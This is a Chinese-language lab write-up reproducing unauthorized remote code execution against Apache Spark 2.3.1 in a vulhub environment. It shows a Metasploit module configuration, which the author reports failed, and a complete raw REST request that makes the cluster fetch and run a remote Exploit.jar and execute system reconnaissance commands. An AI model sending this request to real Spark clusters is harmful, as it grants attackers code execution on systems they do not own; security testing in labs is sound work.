Apache Spark 未授权访问漏洞复现
介绍
Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动ACL(访问控制),我们将可以在集群中执行任意代码。
环境搭建
kali :192.168.89.130
使用vulhub漏洞靶场搭建,进入目录下/spark/unacc ,运行 docker-compose up -d
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eH9ZTFDF-1629967136696)(https://i.loli.net/2021/08/26/9TMGmnrxboDafU1.png)]
然后重新输入运行环境
漏洞复现
使用nmap扫描端口,8080/8081开放即可能存在漏洞
访问8080端口即可打开master,版本是2.3.1
使用msf进行攻击
search spark查看可利用的模块
这里使用第一个
use exploit/linux/http/spark_unauth_rce
设置好payload
options查看需要配置的信息
set rhosts 192.168.89.130
set srvhost 192.168.89.130
set rport 6066
set srvport 8080
设置好后再次运行options检查一下是否配置正常,然后运行,run或者exploit
然后报错了。。。。这里没实现成功
另一个方法
利用StandaloneRestServer API提交应用,REST服务端的默认端口号是6066;
访问6066端口,这里是192.168.89.131:6066,抓包,然后修改发送
exp:
POST /v1/submissions/create HTTP/1.1
Host: 192.168.44.131:6066
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Drupal.toolbar.collapsed=0; has_js=1
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 699
{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.3.1",
"appArgs": [
"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
],
"appResource": "https://github.com/aRe00t/rce-over-spark/Exploit.jar",
"environmentVariables": {
"SPARK_ENV_LOADED": "1"
},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "https://github.com/aRe00t/rce-over-spark/Exploit.jar",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://192.168.44.131:6066"
}
}
目标:Host: your-ip:6066 版本:“clientSparkVersion”: “2.3.1” 执行的命令: “appArgs”: [" "]
上传成功
然后访问
https:// ip :8081/logPage/?driverId={submissionId}&logType=stdout
这里submissionId就是burp中的值
可以访问到日志页,这里是新开的服务器就没有记录了
同样的方法,用在线的vulfocus测试一下
访问8081端口后会有记录
但是error了,暂时没找到原因。。。。尝试了一下午,有机会再试试吧。。。
|